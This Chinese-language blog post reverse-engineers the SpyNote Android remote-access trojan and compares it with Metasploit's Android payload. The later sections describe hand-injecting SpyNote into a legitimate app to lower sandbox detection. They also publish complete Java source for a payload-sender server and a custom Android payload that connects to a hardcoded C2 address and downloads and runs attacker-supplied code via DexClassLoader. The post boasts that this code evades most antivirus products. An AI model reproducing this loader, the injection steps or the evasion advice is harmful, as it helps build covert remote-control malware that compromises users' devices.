文章作者:MG1937

QQ:3496925334

CNBLOG:ALDYS4

未經許可,禁止轉載

前言

	 說起SpyNote大家自然不陌生,這款惡意遠控軟體被利用在各種攻擊場景中
甚至是最近也捕獲到了利用"新冠病毒"進行傳播的SpyNote樣本
方便的Gui操作頁面,行雲流水的攻擊過程...
但它真有那麼優秀以至於無懈可擊嗎?
著名滲透測試框架Metasploit中的安卓載荷和它相比到底如何呢?

文章目錄

  1. SpyNote執行流程分析
  2. Payload載入流程比對
  3. APK注入流程比對
  4. 靈活性與可擴充套件性比對
  5. 免殺難易程度比對

SpyNote執行流程分析

先利用SpyNote輸出一個受控端APK

如圖,程式主入口為 yps.eton.application.M

跟進



程式最終會進入第一處標記處,直接啟動A類服務

若在輸出APK時在SpyNote中選中了防使用者解除安裝選項,程式還會繼續向下進入第二處分支

嘗試申請許可權並接管裝置管理器

跟進A類服務

如圖,A方法重寫onCreate方法後立刻呼叫startForeground方法在前臺彈出一個通知欄

從而使自身應用對使用者"可見",藉此提高系統優先順序進行保活(雖然Android6.0以後保活基本不可能實現了)

在該方法內繼續向下執行,程式進入a方法



a方法體的開始,程式又會進入j方法中



如圖,j方法體嘗試獲取root許可權,並用獲取了root許可權的Runtime實體嘗試輸出檔案,以此判斷應用是否擁有最高許可權



跳出j方法,程式進入h方法體,到此為止,Payload才被正式載入

跟進h方法



h方法體新建立了一個執行緒,方便進行網路操作

繼續向下執行至標記處,程式獲取了鍵為"ArrayDns_Key"中的值,而該鍵的值正是C2的地址與埠

繼續向下執行,C2地址被分別賦予n成員



繼續向下執行,程式將n成員中的C2地址與埠提取出來,實體化一個InetSocketAddress例項並傳入

在第二處標記處,程式就正式向C2地址建立連線了

請注意,在第三處標記點,q成員被賦予C2地址的IO流,此處執行在下面還會有體現

接下來程式進入i方法體,該方法體與Payload的載入密切相關

由於JADX沒能成功反編譯i方法,故使用JDCORE繼續進行操作



i方法體內,程式同樣新建立一個執行緒,讀圖可以很容易看出在此執行緒內程式就嘗試接管電源與網路控制器了

繼續向下看



此處的m方法在編輯器中並沒有找到,大概是因為反編譯工具的問題,所以此處從smali層直接閱讀程式碼



首先在smali中找到i方法體,可以看到A$25.smali檔案正是程式建立執行緒的地方

跟進



在該smali檔案中我找到之前的那處執行,可以看見m方法體需要傳入一個A類成員,並且返回物件為BufferedReader

找到m方法

可見m方法返回了q成員,正是與C2地址建立連線的IO流物件

這裡我將反編譯工具沒有正常顯示但仍然需要用到的方法全部展示一遍

b方法:將傳入的引數存入o成員

n方法:取出o成員

將幾個會用到的方法展示完成後繼續檢視程式碼



如圖,第一處標記程式將取出與C2地址的IO流並檢查連線是否建立

接著在第二處標記程式讀出IO流中的資料,暫時存入i成員

繼續向下執行,程式在讀出IO流中的資料後轉換為String,並最終利用b方法存入o成員

在最後一處標記點,程式檢查o成員是否以"c2x2824x82..."開頭和結尾,若不是則繼續迴圈上面的步驟

這裡不難看出受控端與C2地址傳輸資訊的方式是以某些特殊字元作為標記,並以此區分哪些是C2下達的指令



繼續執行,程式會將C2傳輸來的資訊與寫死在本地的字元進行比較,以此來執行C2想讓傀儡機執行的程式碼



例如傳輸來的資訊如果是"shell_terminal"

程式將會進入如下分支



最終程式將執行j類的a方法體



通讀程式碼不難得出該方法就是在本機執行任意程式碼並向C2地址回傳命令的回顯

至此,SpyNote的執行流程分析完畢


Payload載入流程比對


SpyNote

從上面的SpyNote分析過程來看

SpyNote載入惡意程式碼的方法很直接但卻十分笨拙

graph LR
A[SpyNote] -- 1.建立連線 --> B((C2伺服器))
B -- 2.下達指令 --> A
A -- 3.執行命令 --> C[寫死在本地的惡意程式碼]
C -- 4.回顯回傳 --> B

如流程圖所示

SpyNote的工作僅僅是接收命令,執行命令,回傳命令

明明非常簡單,但又為什麼說它十分笨拙?

將程式碼”全部寫死在本地,時機適當時予以呼叫“的執行方式的確很簡單

但隨之而來的代價就是極高度的程式碼耦合與極其不便捷的維護與軟體升級

以這種方式載入程式碼完全沒有考慮到中馬機適應C2功能升級的情況!

試想一下,若控制端與中馬機的通訊方式更新,老舊的中馬機不但不能隨之得到及時的功能更新

反而還可能因為無法解析新的通訊方式而與控制端失去聯絡


Metasploit

關於安卓載荷的執行流程

可以檢視我之前寫的一篇博文

【逆向&程式設計實戰】Metasploit安卓載荷執行流程分析

這裡簡要介紹一下它載入Payload的核心方法



看到圖中用箭標所指處的物件了嗎?DexClassLoader

是的,這就是Metasploit安卓載荷載入Payload的核心

不會吧不會吧?就這? 這就是所謂的載入方式?你tm在逗我?

好吧,先來看看官方文件中對這個物件如何進行解釋

AndroidDocument-DexClassLoader

如標記處所講,DexClassLoader可以從jarapk檔案中動態執行自身應用中不存在的class檔案

若看過我之前那篇對安卓載荷的分析,就已經可以清楚地知道Payload的載入方式

graph LR
A[Metasploit安卓載荷] --1.建立連線--> B((C2伺服器))
B --2.下發惡意Jar檔案--> A
A -- 3. 動態載入--> C[DexClassLoader物件]
C -- 4.回傳執行回顯 -->B

如果要用一句話對這種載入方式進行描述,那就是複雜但卻十分靈活

其中DexClassLoader物件有著極大的靈活性與操作空間

這種載入方式幾乎使得載荷與C2伺服器分別成為兩個獨立的個體

C2伺服器中遠控功能的更新幾乎不需要與中馬機進行任何互動

因為再怎麼更新功能,只要將Jar檔案傳入載荷,載荷都會乖乖地動態載入其中的程式碼

倒不如說這種程式碼耦合性極低的執行方式反而使得SpyNote更加顯得臃腫和笨拙


APK注入流程比對


SpyNote

SpyNote的客戶端帶有一個將惡意程式碼與其他正常軟體合併的功能

注入測試用的Apk就用我17年左右開發的漫畫軟體罷(半成品,開發到一半伺服器被牆了就沒再動過這個專案)





如圖,這就是輸出的Apk,不過感覺樣子好像沒變

總之先上傳到沙箱裡看看



檢出率完全沒有任何變化?!

感到理解不能的我隨之將輸出的Apk進行再次反編譯

依然跟進主入口



入口函式會獲取自身資源中的merge_file進行初步判斷

最終程式將進入箭頭所標的分支

跟進b方法



在第一處紅線標記處,程式獲取了自身raw資源中google檔案的IO流

接著在本地以base.apk的形式輸出

最終例項化一個Intent物件通知系統安裝輸出在本地的base.apk



檢視raw資料夾中的google.apk

什麼?!這不就是我想要注入的Apk嗎?

到頭來Spynote只是將Apk寫入raw資原始檔裡

接著受害者啟動受控端的時候再輸出正常應用並安裝

你在逗我嗎?這種可有可無的注入?這也太無能了吧?!

連惡意程式碼也完全沒有變化,檢出率當然不會改變了

好吧,既然SpyNote所謂的注入只是在資原始檔層面的簡單替換操作

那我就手動將惡意程式碼寫入Apk後再進行總結吧

注入思路

graph LR
A[正常APK] --> B(Apktool)
C[惡意軟體] --> B
B --反編譯--> D[正常的Smali]
B --反編譯--> E[惡意的Smali]
E -- 寫入 --> D
D --> F[合併Smali的入口函式]
F --指向--> G{惡意Smali的入口函式}

將惡意程式碼寫入正常Apk的流程不再過多闡述

這裡只闡述關鍵步驟

由於SpyNote的受控端很多程式碼都需要從R檔案中獲取指定的資原始檔

比如獲取C2伺服器的地址就需要從string資原始檔中獲取鍵為host的值

所以在複製指定資原始檔到正常軟體中時同樣也要修改Smali程式碼中R.smali對資原始檔的宣告



手動在R.smali中分別聲明瞭6個需要用到的資原始檔

接著在需要呼叫到這些資原始檔的程式碼依次替換這些資源所指向的值



但是完成這些並沒有結束

受控端的程式碼還呼叫到了經過混淆的android-v7

只有將這個v7庫再次插入應用的Smali層,接著在惡意Smali程式碼中引用才能使得軟體正常執行

該步驟不再進行闡述



回編譯後安裝測試

可見在軟體正常執行的同時Spynote上線

上傳雲沙箱

檢出率下降到4



接下來對SpyNote的注入流程進行總結

SpyNote客戶端所謂的"注入"與其說是注入,倒不如說只是套了個可有可無的殼子,連雞肋都算不上

而手動注入時由於SpyNote在多處呼叫到了資原始檔,使得手動注入的過程變得十分繁瑣

光是Debug就花去了我十幾分鍾,明明可以在Smali層進行操作,卻要將關鍵資料寫進資原始檔的反智行為實在讓我困擾


Metasploit

我想msfvenom的注入功能不用過多闡述

這裡只簡要闡述一下

依然使用之前的Apk測試注入功能



雲沙箱的3檢出率還算差強人意

反編譯輸出的Apk



儘管是幾年前開發的軟體,但整個軟體的結構我仍然能夠記起

圖中標記處就是msfvenom在清單檔案中注入的資訊

從後兩處標記處不難得出這兩處就是類名與包名混淆過的惡意程式碼



在程式入口處被注入了惡意程式碼的入口

可以直接跟進到Payload載入處



這裡Payload就已經載入了,不再過多描述

惡意程式碼的整個注入過程可謂是行雲流水

沒有多餘沉澱的資原始檔,所有關鍵資訊全部都儲存在Smali

惡意程式碼的執行更是避免了呼叫到其他第三方類庫,大大降低了程式碼耦合程度和注入複雜度

僅僅需要在適當時機呼叫惡意函式的入口,十分方便

相比SpyNote多餘的程式碼和檔案就使得注入過程十分繁瑣,不僅要手動宣告資源

而惡意函式呼叫到的其他第三方類庫還經過了混淆,這樣就不得不再次將類庫重新寫入正常Apk

增大了軟體體積。反而如果少了這種無意義的操作,軟體還無法執行


靈活性與可擴充套件性比對


SpyNote

抱歉,對於SpyNote來說,它幾乎沒有靈活性和擴充套件性可言!

這就是將惡意程式碼全部寫死在本地的後果!

如果要擴充套件惡意程式碼的功能,那麼就必須相應地更新控制端的程式碼以適應受控端的程式碼!

若是要擴充套件控制端的功能,那麼就要相應地重寫受控端程式碼!

SpyNote極高的程式碼耦合度和操作的極其不便利程度使得對SpyNote進行二次開發繁瑣到幾乎不可能

可謂是牽一髮而動全身!


Metasploit

關於靈活性和可擴充套件程度,Metasploit可謂是幾乎毫無疑問的完全站所有遠控軟體的上風

為什麼這麼說?還記得安卓載荷載入惡意程式碼的核心方法嗎?對,就是DexClassLoader物件

這個物件的實現功能可謂是給二次開發帶來了極大的便利,我甚至不需要更新Msf自帶的安卓載荷

就可以輕鬆實現在載荷上執行我所設想的新功能

由此我開發了一個載荷傳送工具以便實現我想要的效果

開發原理與思路完全可以參照我上面所提到的之前寫的一篇博文:

【逆向&程式設計實戰】Metasploit安卓載荷執行流程分析_復現meterpreter模組接管shell



程式碼:

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64; public class Main {
//Necessary Args
private static String Port,dexLoadPath,dexLength,loadClass; public static void main(String[] args) {
if(args.length<3) {
System.out.println("Auth:MG1937 CSDN_Blog:Aldys4 QQ:3496925334\nExample:java -jar payloadSender.jar 1937 C:/evil.jar com.evil.Main");
}
else {
Port=args[0];
dexLoadPath=args[1];
loadClass=args[2];
try {
getClient();
} catch (Throwable e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static void getClient() throws Exception {
ServerSocket serverSocket=new ServerSocket(Integer.valueOf(Port));
System.out.println("[*]ServerSocket was built,wait for Connection...");
Socket socket=serverSocket.accept();
System.out.println("[*]"+socket.getInetAddress().toString()+" Has connected!Sending payload...");
Thread.sleep(1000);
sendPayload(new DataOutputStream(socket.getOutputStream()));
}
public static void sendPayload(DataOutputStream outputStream) throws Exception {
File file=new File(dexLoadPath);
byte[] b=readPayload(file);
dexLength=(int)b.length+"";
System.out.println("[*]Send Class Length...");
outputStream.writeInt(Integer.valueOf(loadClass.length()));
System.out.println("[*]Send Class you want to load...");
outputStream.write(loadClass.getBytes());
Thread.sleep(1000);
System.out.println("[*]Send Payload Length...");
outputStream.writeInt(Integer.valueOf(dexLength));
System.out.println("[*]Send Payload...");
outputStream.write(b);
System.out.println("[*]DONE!");
}
public static byte[] readPayload(File file) throws Exception {
try {
int length = (int) file.length();
byte[] data = new byte[length];
new FileInputStream(file).read(data);
return data;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

簡要描述一下這個工具的功能

依據載荷接收Jar和動態載入其中Dex的具體流程而開發的進行下發惡意Jar的工具

工具編寫完成,接下來構造一個可被載荷執行的惡意Jar

如圖,惡意程式碼的功能很簡單

利用反射獲取載荷的Context例項

接著例項化一個Intent物件,並通過這個物件開啟我所指定的網址

編譯Apk檔案,取出其中的Dex檔案



如圖,利用d2jdx將dex檔案重新打包成可被DexClassLoader物件識別的Jar檔案

利用工具傳送至中馬機進行測試



如圖,當點選載荷時,自動與工具建立了一個Socket連線

接著Jar被髮送到載荷上時,瀏覽器自動打開了百度的頁面

測試成功

或許有的人會問了

惡意程式碼所獲取的Context例項的父類不是Application麼?

那樣的話能執行的命令還是會有限制

比如Application物件就不能在子執行緒中呼叫runOnUIThread函式操作UI程序啊!

這還不簡單嗎?

既然載荷載入的核心方法已經知道了

那麼就自己利用這種載入方法再開發一個載荷不就好了

MainActivity.java



getContext.java

如圖,MainActivity中是用來載入核心程式碼的類

getContext類則是以靜態方法儲存Context的類

這麼一來就大概都懂了吧

graph LR
A[MainActivity] -- 傳遞自身Context物件 --> B((getContext))
C{惡意Jar} -- 反射獲取Context物件 --> B

這樣一來就可以在子執行緒中任意呼叫UI函數了!

重新編寫測試用的惡意程式碼



如圖,事先在工程裡也建立一個和載荷同包名和類名的getContext物件

接著在正式編譯時刪除惡意Jar中的getContext物件,這樣在執行時就會呼叫載荷裡的Context物件

這樣一來載荷物件就真正被獲取了

傳送載荷,可以看見UI函式被成功操作,彈出了一個警示框

程式碼:

MainActivity

public class MainActivity extends Activity {

    String ip="192.168.0.104";
String port="1937";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getContext.setContext(this);
new Thread(new Runnable() {
@Override
public void run() {
try {
getC2C();
}catch (Throwable e){}
}
}).start(); }
public void getC2C() throws IOException {
Socket socket=new Socket(ip,Integer.valueOf(port));
InputStream inputStream=socket.getInputStream();
OutputStream outputStream=socket.getOutputStream();
DataInputStream dataInputStream=new DataInputStream(inputStream);
DataOutputStream dataOutputStream=new DataOutputStream(outputStream);
try {
getPayload(dataInputStream,dataOutputStream);
} catch (Throwable e) {
e.printStackTrace();
}
}
public void getPayload(DataInputStream dataInputStream,DataOutputStream dataOutputStream) throws Exception {
final String str = this.getFilesDir().toString();
String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String str3 = str2 + ".jar";
String str4 = str2 + ".dex";
String str5 = new String(getPayload(dataInputStream));
System.out.println(str5);
byte[] a2 = getPayload(dataInputStream);
System.out.println("byte get!");
this.getResources().getString(R.string.app_name);
File file = new File(str3);
if (!file.exists()) {
file.createNewFile(); }
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(a2);
fileOutputStream.flush();
fileOutputStream.close();
Class loadClass = new DexClassLoader(str3, str, str, MainActivity.class.getClassLoader()).loadClass(str5);
Object newInstance = loadClass.newInstance();
file.delete();
new File(str4).delete();
loadClass.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, Object[].class}).invoke(newInstance, new Object[]{dataInputStream, dataOutputStream, new Object[]{str,null}}); }
public byte[] getPayload(DataInputStream dataInputStream) throws Exception {
int readInt = dataInputStream.readInt();
byte[] bArr = new byte[readInt];
int i = 0;
while (i < readInt) {
int read = dataInputStream.read(bArr, i, readInt - i);
if (read < 0) {
throw new Exception();
}
i += read;
} return bArr; }
}

getContext

public class getContext {
static public Context context_=null;
static public void setContext(Context context){
context_=context;
}
static public Context getContext_(){return context_;}
}

從載荷傳送工具編寫到自主開發遠控載荷的流程來看

Metasploit可擴充套件性和靈活程度是當之無愧的

相比起SpyNote那種幾乎無二次開發與擴充套件可能的遠控工具來看簡直是高下立判


免殺難易程度比對


SpyNote

由於SpyNote的程式碼高耦合度,所有惡意程式碼都寫在本地使得病毒特徵明顯

免殺似乎只能從Dex加殼的層面下手

這裡不細講


Metasploit

幾乎開放式的惡意Jar動態載入過程不僅方便了二次開發

甚至是原始碼級免殺也能輕鬆實現

將在上一個模組我自主開發的載荷傳入雲沙箱

可以看到僅僅只有一檢出率

bypass了國內大多數主流反病毒軟體

免殺效果可以說是非常理想了


總結

從三個方面去對比和分析這兩款遠控工具

結果無一例外Metasploit都完全佔在上風


若要把SpyNote比作是一把利劍的話,劍客就得去適應其劍身和握柄.

那麼Metasploit就是一塊可以隨意改造的模板,這個模板怎麼使用全看鑄劍人的意願

可以說Metasploit是一款開放性很強又極其靈活的工具,而SpyNote只能算是被組裝好的自動化武器,

它的拆卸,改裝都很麻煩,似乎只能隨著原開發者的意願去使用

所以Metasploit可以說是當代當之無愧的幾乎所有遠控工具的巔峰!